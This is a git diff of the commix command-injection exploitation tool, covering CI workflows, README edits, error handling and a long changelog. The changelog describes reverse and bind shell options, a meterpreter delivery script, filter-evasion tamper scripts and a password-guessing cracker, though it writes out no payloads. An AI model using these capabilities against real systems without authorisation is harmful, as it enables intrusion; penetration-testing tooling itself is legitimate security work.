diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml new file mode 100644 index 0000000000..9158aa3f92 --- /dev/null +++ b/.github/workflows/builds.yml @@ -0,0 +1,23 @@ +on: + push: + branches: [ master ] + pull_request: + branches: [ master ] + +jobs: + build: + runs-on: ${{ matrix.os }} + strategy: + matrix: + os: [ubuntu-latest, macos-latest, windows-latest] + python-version: [ 'pypy-2.7', '3.12' ] + steps: + - uses: actions/checkout@v2 + - name: Set up Python + uses: actions/setup-python@v2 + with: + python-version: ${{ matrix.python-version }} + - name: Basic import test + run: python -c "import commix" + - name: Basic smoke test + run: python commix.py --smoke-test diff --git a/.github/workflows/lockbot.yml b/.github/workflows/lockbot.yml new file mode 100644 index 0000000000..9aba2a20a0 --- /dev/null +++ b/.github/workflows/lockbot.yml @@ -0,0 +1,27 @@ +name: 'LockBot' + +on: + schedule: + - cron: '0 0 * * *' + +permissions: + issues: write + +jobs: + action: + runs-on: ubuntu-latest + steps: + - uses: dessant/lock-threads@v2 + with: + issue-lock-inactive-days: '30' + issue-lock-comment: > + This issue has been automatically locked due to inactivity.
+ Please file a new issue if you are encountering a similar or related problem.

+ _This action has been performed automatically by a bot._ + issue-lock-reason: '' + pr-lock-inactive-days: 30 + pr-lock-comment: > + This PR has been automatically locked due to inactivity.
+ Please file a new issue if you are encountering a similar or related problem.

+ _This action has been performed automatically by a bot._ + pr-lock-reason: '' diff --git a/.travis.yml b/.travis.yml deleted file mode 100755 index 4ae5c8bd1f..0000000000 --- a/.travis.yml +++ /dev/null @@ -1,15 +0,0 @@ -language: python -jobs: - include: - - python: 2.6 - dist: trusty - - python: 2.7 - dist: trusty - - python: 3.3 - dist: trusty - - python: 3.6 - dist: trusty - - python: nightly - dist: bionic -script: - - python -c "import commix" diff --git a/LICENSE.txt b/LICENSE.txt index 9c2451501f..1101c69074 100644 --- a/LICENSE.txt +++ b/LICENSE.txt @@ -1,4 +1,4 @@ -Copyright (c) 2014-2021 Anastasios Stasinopoulos +Copyright (c) 2014-2025 Anastasios Stasinopoulos This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/README.md b/README.md index 093f35e2c7..b3e3570022 100644 --- a/README.md +++ b/README.md @@ -1,20 +1,19 @@

CommixProject

- Build Status + Builds Tests Python 2.6|2.7|3.x GPLv3 License GitHub closed issues - Twitter + X

-**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), that automates the detection and exploitation of **[command injection](https://www.owasp.org/index.php/Command_Injection)** vulnerabilities. +**Commix** (short for [**comm**]and [**i**]njection e[**x**]ploiter) is an open source penetration testing tool, written by **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), that automates the detection and exploitation of **[command injection](https://www.owasp.org/index.php/Command_Injection)** vulnerabilities. -## Screenshot ![Screenshot](https://commixproject.com/images/background.png) - +You can visit the [collection of screenshots](https://github.com/commixproject/commix/wiki/Screenshots) demonstrating some of the features on the wiki. ## Installation @@ -24,7 +23,7 @@ You can download commix on any platform by cloning the official Git repository : Alternatively, you can download the latest [tarball](https://github.com/commixproject/commix/tarball/master) or [zipball](https://github.com/commixproject/commix/zipball/master). -*__Note:__ **[Python](http://www.python.org/download/)** (version **2.6**, **2.7** or **3.x**) is required for running commix.* +*__Note:__ **[Python](http://www.python.org/download/)** (version **2.6**, **2.7** or **3.x**) is required for running commix.* ## Usage @@ -44,4 +43,7 @@ To get an overview of commix available options, switches and/or basic ideas on h ## Translations -* [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) \ No newline at end of file +* [Farsi(Persian)](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) +* [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) +* [Indonesian](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) +* [Turkish](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) diff --git a/commix.py b/commix.py index 63b7f7e283..f6596e9a98 100755 --- a/commix.py +++ b/commix.py @@ -3,27 +3,28 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ +import sys + # Dummy check for missing module(s). try: __import__("src.utils.version") from src.utils import version version.python_version() -except ImportError: - err_msg = "Wrong installation detected (missing modules). " - err_msg = "Visit 'https://github.com/commixproject/commix/' for further details. \n" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() +except ImportError as ex: + err_msg = "Wrong installation detected (i.e \"" + str(ex) + "\"). " + err_msg += "Visit 'https://github.com/commixproject/commix/' for further details." + sys.exit(err_msg) # Main def main(): @@ -35,14 +36,14 @@ def main(): main() except SystemExit: import sys - raise SystemExit() + raise SystemExit() except KeyboardInterrupt: import sys - raise SystemExit() + raise SystemExit() except IndentationError as err_msg: from src.utils import settings - print(settings.print_critical_msg(err_msg) + ".\n") - raise SystemExit() + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() except: from src.utils import common common.unhandled_exception() diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 605a451e9a..d8789e0c6f 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,59 +1,206 @@ +## Version 4.1 (TBA) +* Fixed: Minor bug fix for missing `.txt` files during setup/install. +* Revised: Minor code refactoring to enhance the authentication process with detailed HTTP traffic inspection. +* Fixed: Improved handling of terminal input to prevent encoding errors. +* Fixed: Minor bug-fix in parsing improperly padded `Base64` in Authorization headers. +* Revised: Minor code refactoring to enhance file I/O reliability. +* Revised: Minor code refactoring to ensure compliance with PEP 440 versioning standards. +* Revised: Improved key transformation for nested structures using bracket notation and dot syntax. +* Fixed: Minor bug-fix in parsing improperly escaped characters in JSON objects. +* Fixed: Minor bug-fix in parsing empty or invalid JSON object. +* Added: New tamper script "randomcase.py" that replaces each character in a user-supplied OS command with a random case. +* Revised: Minor code refactoring regarding multiple tamper scripts. +* Revised: Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based"). +* Revised: Improvement regarding tamper script "backticks.py" for supporting time-related techniques (i.e. "time-based", "tempfile-based"). + +## Version 4.0 (2024-12-20) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Revised: Minor bug-fix regarding tamper script "backticks.py" +* Revised: Improvements regarding shell options `reverse_tcp`, `bind_tcp`. +* Revised: Major code refactoring regarding session handler. +* Revised: Minor improvement regarding options `--prefix`, `--suffix`. +* Revised: Improvement regarding writing text to the stdout (console) stream. +* Fixed: Minor bug-fix regarding combining custom injection marker (i.e. asterisk `*`) with `-p` option. +* Revised: Improvement regarding specifying multiple injection points by appending custom injection marker (i.e. asterisk `*`). +* Fixed: Minor bug-fix regarding crawler (i.e. option `--crawl`). +* Updated: Six (third party) module has been updated (Python 3.12 support). +* Revised: Minor improvement regarding determining (passively) the target's underlying operating system. +* Revised: Minor improvement for enabling end-users to choose whether to skip or continue testing the remaining parameters, if one is found vulnerable. +* Revised: Minor improvements regarding semiblind (i.e. "file-based") technique. +* Fixed: Minor bug-fix regarding option `--output-dir`. +* Revised: Improvement regarding option `--skip` for excluding certain parameter(s) from testing. +* Revised: Improvement regarding specifying which parameter(s) to test (i.e. `-p` option). +* Revised: Improvement regarding processing / ignoring custom injection marker (i.e. asterisk `*`). +* Revised: Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`). +* Revised: Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). +* Revised: Improvement regarding parsing JSON nested objects. +* Revised: Improvement regarding (basic) heuristic detection of WAF/IPS protection. +* Revised: Improvement regarding option `--ignore-code` for ignoring multiple (problematic) HTTP error codes. +* Added: New option `--abort-code` for aborting on (problematic) HTTP error code(s) (e.g. 401) +* Added: New option `--time-limit` for running with a time limit in seconds (e.g. 3600). + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.9...v4.0)._ + +## Version 3.9 (2024-01-19) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Revised: Minor improvement regarding logging user-supplied command(s) (i.e. `--os-cmd` option) to a file. +* Revised: Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch). +* Added: New (hidden) option `--ignore-stdin` regarding ignoring STDIN input. (via @n00b-bot) +* Revised: Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted). (via @xerxoria) +* Revised: Minor improvement regarding Windows-based payloads for semiblind (i.e. "file-based") technique (i.e. command execution output). +* Revised: Minor improvement in semiblind (i.e. "file-based") technique, regarding defining the URL where the execution output of an injected payload is shown. +* Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy. +* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). +* Added: New switch `--smart` for conducting through tests only in case of positive heuristic(s). +* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-tr-TR.md) in Turkish. (via @Kazgangap) +* Revised: Minor improvement regarding parsing SOAP/XML POST data. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.8...v3.9)._ + +## Version 3.8 (2023-08-14) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). +* Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output). +* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) in Farsi(Persian) (via @verfosec) +* Fixed: Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s). +* Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. +* Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. +* Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). +* Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands. +* Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s). +* Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag). +* Fixed: Minor bug-fix regarding setting custom output directory path (i.e. `--output-dir` option). +* Added: Support for `Bearer` HTTP authentication type. +* Revised: Minor improvement regarding tamper script "xforwardedfor.py" (that appends a fake HTTP header `X-Forwarded-For`). +* Fixed: Minor bug-fix regarding not ignoring specified injection technique(s) when `--ignore-session` or `--flush-session` options are set. +* Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. +* Added: New option `--alert` to run host OS command(s) when injection point is found. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.7...v3.8)._ + +## Version 3.7 (2023-02-17) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Added: Translation for [README.md](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) in Indonesian (via @galihap76) +* Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). +* Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers). +* Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. `logout`). +* Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. +* Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. `stdin`). +* Revised: Minor improvement regarding adding PCRE `/e` modifier (i.e. dynamic code evaluation technique). +* Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e. `-t` option). + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.6...v3.7)._ + +## Version 3.6 (2022-11-18) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Revised: Improvements regarding dynamic code evaluation heuristic check. +* Revised: Minor improvement regarding session handler. +* Revised: Minor improvement regarding `--wizard` option. +* Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. +* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). +* Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized). + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.5...v3.6)._ + +## Version 3.5 (2022-07-03) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Revised: Improvements regarding Windows-based payloads for every supported technique. +* Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads. +* Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. +* Revised: Improvement regarding identifying injection marker (i.e. asterisk `*`) in provided options. +* Revised: Improvement regarding shellshock module. +* Added: Support regarding parsing target(s) from piped-input (i.e. `stdin`). +* Added: New option `--answers` to set user answers to asked questions during commix run. +* Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`). +* Added: Support for normalizing crawling results. +* Revised: Improvement regarding crawler. +* Revised: Minor bug-fix regarding `--file-upload` option. +* Revised: Minor improvement regarding identifying `Hex` and/or `Base64` encoded parameter(s) value(s). +* Added: New option `--no-logging` for disabling logging to a file. +* Revised: Minor improvement regarding redirect handler. +* Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`). +* Added: Support for heuristic detection regarding command injections. +* Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e. Cookies, HTTP headers) but also performs more tests for each injection point. +* Revised: Improvement regarding injecting into custom HTTP Header(s). + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.4...v3.5)._ + +## Version 3.4 (2022-02-25) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. +* Fixed: Bug-fix regarding forcing usage of provided HTTP method (e.g. `PUT`). +* Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). +* Fixed: Minor bug-fix regarding parsing JSON objects. +* Added: New option `--drop-set-cookie` for ignoring `Set-Cookie` HTTP header from response. +* Added: Support for checking for not declared cookie(s). +* Added: New (hidden) option `--smoke-test` that runs the basic smoke testing. +* Revised: Improvement regarding mechanism which nagging if used "dev" version is > 30 days old. +* Revised: Improvements regarding dynamic code evaluation heuristic check. +* Replaced: The `--encoding` option has been replaced with `--codec`. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.3...v3.4)._ + ## Version 3.3 (2021-09-13) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Minor bug-fix regarding scanning multiple targets given in a textual file (i.e. via option `-m`). * Removed: The "Regsvr32.exe application whitelisting bypass" attack vector has been removed. * Updated: Minor update regarding web delivery script (i.e. Python meterpreter reverse TCP shell). * Replaced: The `--backticks` switch has been replaced with "backticks.py" tamper script. -* Added: New tamper script "backticks.py" that uses backticks instead of "$()", for commands substitution. (for *nix targets). +* Added: New tamper script "backticks.py" that uses backticks instead of `$()`, for commands substitution. * Added: New option ( `--skip-heuristic`) for skipping dynamic code evaluation heuristic check. -* Added: Support for parsing custom wordlists regarding HTTP authentication (Basic / Digest) dictionary-based cracker. +* Added: Support for parsing custom wordlists regarding HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker. * Revised: Improvements regarding dynamic code evaluation heuristic check. * Fixed: Minor bug-fix regarding parsing SOAP/XML data via `--data` option. * Revised: Minor improvement regarding parsing GraphQL JSON objects. -* Added: The .bat files command separator (i.e. ["%1a"](http://seclists.org/fulldisclosure/2016/Nov/67)) has been added. +* Added: The .bat files command separator (i.e. [`%1a`](http://seclists.org/fulldisclosure/2016/Nov/67)) has been added. * Added: New option `--method` to force usage of provided HTTP method (e.g. `PUT`). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.2...v3.3)._ + ## Version 3.2 (2021-04-12) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. -* Added: New tamper script "slash2env.py" that replaces slashes ("/") with environment variable value "${PATH%%u*}" (for *nix targets). +* Added: New tamper script "slash2env.py" that replaces slashes (`/`) with environment variable value `${PATH%%u*}`. * Revised: Minor improvement regarding session handler for supporting Python 3.4+. * Revised: Minor improvement regarding `--web-root` option. -* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads (for *nix targets). +* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Improvement regarding decompressing `deflate`, `x-gzip` and `gzip` HTTP responses. * Fixed: Bug-fix regarding several charset-related unhandled exceptions. * Revised: Improvements regarding dynamic code evaluation heuristic check. -* Fixed: Bug-fix regarding HTTP authentication (Basic / Digest) dictionary-based cracker. +* Fixed: Bug-fix regarding HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker. * Fixed: Bug-fix regarding logging all HTTP traffic into a textual file. * Revised: Improvement regarding crawler. * Fixed: Multiple bug-fixes regarding supporting Python 3.9. * Revised: Improvement regarding mechanism which nagging if used version is > 30 days old. * Fixed: Multiple bug-fixes regarding the shellshock module. -* Revised: Improvement regarding Python 3.4+ for using the "html.unescape()" function for converting HTML entities to plain-text representations. +* Revised: Improvement regarding Python 3.4+ for using the `html.unescape()` function for converting HTML entities to plain-text representations. * Updated: Minor update regarding smartphones to imitate, through HTTP User-Agent header. * Fixed: Bug-fix regarding setting suitable HTTP header User-Agent, when combining `--random-agent` or `--mobile` switch with `-r` option. -* Fixed: Bug-fix regarding "hex" encoding/decoding. +* Fixed: Bug-fix regarding `Hex` encoding/decoding. * Added: New option ( `--timeout`) for setting a number of seconds to wait before timeout connection (default 30). * Revised: Increased default timeout to 30 seconds. * Fixed: Bug-fix regarding Basic HTTP authentication. * Fixed: Bug-fix regarding connection problems (via @fuero). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.1...v3.2)._ + ## Version 3.1 (2020-06-17) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Added: A script "setup.py" has been added (i.e. easier installation). -* Revised: Improvement regarding checking if the provided value has boundaries (e.g. 'param=/value/'). +* Revised: Improvement regarding checking if the provided value has boundaries (e.g. `param=/value/`). * Revised: Improvement regarding dynamic code evaluation technique's heuristic checks. * Revised: Improvement regarding identifying the indicated web-page charset. * Revised: Minor improvement regarding verbose mode (i.e. debug messages). * Fixed: Bug-fix regarding Basic HTTP authentication. * Revised: Minor improvement regarding redirection mechanism. -* Fixed: Bug-fix regarding defining wildcard character "*" in nested JSON objects. +* Fixed: Bug-fix regarding defining custom injection marker (i.e. asterisk `*`) in nested JSON objects. * Revised: Minor improvement regarding Flatten_json (third party) module. * Revised: Minor improvement regarding parsing nested JSON objects. -* Added: New tamper script "doublequotes.py" that adds double-quotes ("") between the characters of the generated payloads (for *nix targets). +* Added: New tamper script "doublequotes.py" that adds double-quotes (`""`) between the characters of the generated payloads. * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Revised: Improvements regarding data in the detailed message about occurred unhandled exception. * Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.0-20191111...v3.1)._ + ## Version 3.0 (2019-11-11) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvement regarding identifying the indicated web-page charset. @@ -62,33 +209,39 @@ * Added: Six (third party) module has been added. * Revised: Improvement regarding parsing nested JSON objects that contain boolean values. * Replaced: The `--ignore-401` option has been replaced with `--ignore-code` option. -* Added: New option ( `--ignore-code`) for ignoring (problematic) HTTP error code (e.g. 401). +* Added: New option `--ignore-code` for ignoring (problematic) HTTP error code (e.g. 401). + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.9-20190626...v3.0-20191111)._ ## Version 2.9 (2019-06-26) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Bug-fix regarding parsing hostname and port from URL. -* Revised: Improvement regarding automatically decoding "deflate" and "gzip" HTTP responses. -* Fixed: Bug-fix regarding parsing HTTP header values that contain multiple ":". +* Revised: Improvement regarding automatically decoding `deflate` and `gzip` HTTP responses. +* Fixed: Bug-fix regarding parsing HTTP header values that contain multiple `":"`. * Revised: Improvement regarding updating "Content-Length" HTTP header, in case it's provided by user (i.e. `-r`, `--header`, `--header` options). * Revised: Improvement regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Revised: Improvement regarding parsing nested JSON objects. * Added: Flatten_json (third party) module has been added. * Revised: Bug-fixes and improvements regarding parsing JSON objects. -* Added: GPL Cooperation Commitment (COMMITMENT.txt) has been added. -* Updated: Minor update regarding HTTP authentication (Basic / Digest). +* Added: GPL Cooperation Commitment ([COMMITMENT.txt](https://github.com/commixproject/commix/blob/master/COMMITMENT.txt)) has been added. +* Updated: Minor update regarding HTTP authentication (i.e. `Basic`, `Digest`). * Revised: Minor improvements regarding preventing false negative results, due to parameters tampering during the detection phase. * Revised: Minor improvements regarding "reverse_tcp" and "bind_tcp" shell options. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.8-20190326...v2.9-20190626)._ + ## Version 2.8 (2019-03-26) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Updated: Minor update regarding accepting overly long result lines. * Revised: Minor bug-fixes and improvements regarding `--file-upload` option. * Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker. -* Revised: Minor bug-fixes and improvements regarding HTTP authentication (Basic / Digest). +* Revised: Minor bug-fixes and improvements regarding HTTP authentication (i.e. `Basic`, `Digest`). * Fixed: Minor bug-fix regarding ignoring HTTP Error 401 (Unauthorized) (for `--ignore-401` option). * Added: Support for writing crawling results to a temporary file (for eventual further processing with other tools). * Added: Support for Windows "Python" on "reverse_tcp" shell option. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.7-20181218...v2.8-20190326)._ + ## Version 2.7 (2018-12-18) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: The suffixes list has been shortly revised. @@ -99,16 +252,18 @@ * Revised: Minor update of redirection mechanism. * Revised: Minor improvement regarding identifying the target web server. * Revised: Minor improvement regarding identifying corrupted .pyc file(s). -* Added: New tamper script "dollaratsigns.py" that adds dollar-sign followed by an at-sign ("$@") between the characters of the generated payloads. +* Added: New tamper script "dollaratsigns.py" that adds dollar-sign followed by an at-sign (`$@`) between the characters of the generated payloads. * Fixed: Bug-fix regarding proxying SSL/TLS requests. * Revised: Minor improvement regarding checking for potentially miswritten (illegal '=') short option. * Revised: Minor improvement regarding checking for illegal (non-console) quote and comma characters. * Revised: Minor improvement regarding merging of tamper script arguments. * Revised: Minor improvement regarding ignoring the parameter(s) that carrying anti-CSRF token(s) in all scanning attempts. * Updated: Beautiful Soup (third party) module has been updated. -* Added: New tamper script "xforwardedfor.py" that appends a fake HTTP header 'X-Forwarded-For'. +* Added: New tamper script "xforwardedfor.py" that appends a fake HTTP header `X-Forwarded-For`. * Fixed: Minor bug-fix regarding loading tamper scripts. -* Revised: Minor improvement regarding "INJECT_HERE" tag (i.e. declaring injection position) to be case insensitive. +* Revised: Minor improvement regarding `INJECT_HERE` tag (i.e. declaring injection position) to be case insensitive. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.6-20180921...v2.7-20181218)._ ## Version 2.6 (2018-09-21) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. @@ -116,18 +271,20 @@ * Added: New option `--list-tampers` for listing available tamper scripts. * Revised: Minor improvement regarding resolving target hostname. * Added: Support for "Ncat" on "reverse_tcp" and "bind_tcp" shell options. -* Added: Support for "Bash" (via /dev/tcp) on "reverse_tcp" shell option. -* Added: Support for "Netcat-Openbsd" (nc without -e) on "reverse_tcp" and "bind_tcp" shell options. +* Added: Support for "Bash" (via `/dev/tcp`) on "reverse_tcp" shell option. +* Added: Support for "Netcat-Openbsd" (i.e. nc without -e) on "reverse_tcp" and "bind_tcp" shell options. * Added: Support for "Socat" on "reverse_tcp" and "bind_tcp" shell options. * Revised: Minor improvement regarding counting the total of HTTP(S) requests, for the identified injection point(s) during the detection phase. * Fixed: Minor bug-fix regarding providing the target host's root directory. * Added: New tamper script "sleep2timeout.py" that uses "timeout" function for time-based attacks. -* Added: New tamper script "sleep2usleep.py" that replaces "sleep" with "usleep" command in the time-related generated payloads. +* Added: New tamper script "sleep2usleep.py" that replaces `sleep` with `usleep` command in the time-related generated payloads. * Replaced: The `--purge-output` option has been replaced with `--purge` option. * Fixed: Minor bug-fix regarding performing injections through cookie parameters. * Revised: Minor improvement regarding ignoring the Google Analytics cookie in all scanning attempts. * Fixed: Minor bug-fix regarding "bind_tcp" shell option. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.5-20180713...v2.6-20180921)._ + ## Version 2.5 (2018-07-13) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvement regarding identifying the appropriate format parameters, in the provided POST data. @@ -136,22 +293,26 @@ * Added: Support regarding checking for potential CAPTCHA protection mechanism. * Revised: The separators list, has been shortly revised. * Revised: Minor improvement regarding the extracted HTTP response headers. -* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads (for *nix targets). -* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (e.g User-Agent, Referer, Host etc). -* Fixed: Major bug-fixes regarding testing time-related ("time-based"/"tempfile-based") payloads. -* Added: New tamper script "backslashes.py" that adds back slashes (\) between the characters of the generated payloads (for *nix targets). +* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads. +* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (e.g. User-Agent, Referer, Host etc). +* Fixed: Major bug-fixes regarding testing time-related payloads (i.e. "time-based", "tempfile-based"). +* Added: New tamper script "backslashes.py" that adds back slashes (`\`) between the characters of the generated payloads. * Fixed: Minor bug-fix regarding unicode decode exception error due to invalid codec, during connection on target host. * Revised: Improvement regarding combining tamper script "multiplespaces.py" with other space-related tamper script(s). * Added: New tamper script "multiplespaces.py" that adds multiple spaces around OS commands. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.4-20180521...v2.5-20180713)._ + ## Version 2.4 (2018-05-21) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Fixed: Minor bug-fix regarding ignoring invalid and/or empty tamper scripts. * Updated: Colorama (third party) module has been updated. * Revised: Minor improvement regarding keeping the git folder 'clean' (via @g0tmi1k). * Fixed: Minor bug-fix regarding loading multiple tamper scripts (during the exploitation phase). -* Added: New tamper script "caret.py" that adds the caret symbol (^) between the characters of the generated payloads (for windows targets). -* Added: New tamper script "singlequotes.py" that adds single quotes (') between the characters of the generated payloads (for *nix targets). +* Added: New tamper script "caret.py" that adds the caret symbol (`^`) between the characters of the generated payloads. +* Added: New tamper script "singlequotes.py" that adds single quotes (`'`) between the characters of the generated payloads. + +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.3-20180307...v2.4-20180521)._ ## Version 2.3 (2018-03-07) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. @@ -169,29 +330,33 @@ * Revised: Improvement regarding testing json-formated POST data with empty value(s). * Revised: Minor improvement regarding verbose mode for removing the first and/or last line of the html content (in case there are/is empty). +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.2-20171212...v2.3-20180307)._ + ## Version 2.2 (2017-12-12) * Revised: Minor improvement in "updater", for supporting verbose mode. * Fixed: Minor bug-fix regarding cookie-based command injections. * Revised: Minor improvement regarding option `-p` for bypassing the dependence on value of `--level` (in case of user-defined HTTP headers). * Revised: Minor improvement regarding option `-p` for testing user-defined HTTP headers. -* Added: New option `--failed-tries` for setting a number of failed injection tries, in file-based technique. +* Added: New option `--failed-tries` for setting a number of failed injection tries, in semiblind (i.e. "file-based") technique. * Revised: Minor improvement regarding session handler. -* Revised: Minor improvement regarding checking stored time-related ("time-based"/"tempfile-based") payloads. +* Revised: Minor improvement regarding checking stored time-related payloads (i.e. "time-based", "tempfile-based"). * Revised: Minor improvement regarding Python version check (no more crashes on Python >= "3" and < "2.6"). * Revised: Minor improvement in "updater", for checking commit hash number. * Added: New option `--skip` regarding excluding certain parameter(s) from testing. * Added: New option `--skip-technique` regarding excluding certain injection technique(s) from testing. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.1-20171003...v2.2-20171212)._ + ## Version 2.1 (2017-10-03) -* Added: New option `--header` for providing a single extra HTTP header (e.g. 'X-Forwarded-For: 127.0.0.1'). +* Added: New option `--header` for providing a single extra HTTP header (e.g. `X-Forwarded-For: 127.0.0.1`). * Added: New option `--check-internet` that checks internet connection before assessing the target. -* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (i.e Cookie, User-Agent, Referer). +* Fixed: Minor bug-fix regarding performing injections through HTTP Headers (i.e. Cookie, User-Agent, Referer). * Revised: Minor improvement regarding checking stored payloads and enabling appropriate tamper scripts during the exploitation phase. -* Added: New tamper script "space2vtab.py" that replaces every space ("%20") with vertical tab ("%0b") (for Windows targets). +* Added: New tamper script "space2vtab.py" that replaces every space (`%20`) with vertical tab (`%0b`). * Replaced: The tamper script "space2tab.py" has been replaced with "space2htab.py". -* Fixed: Minor bug-fix regarding checking for similarity in provided parameter name and value (GET / POST). -* Added: New option 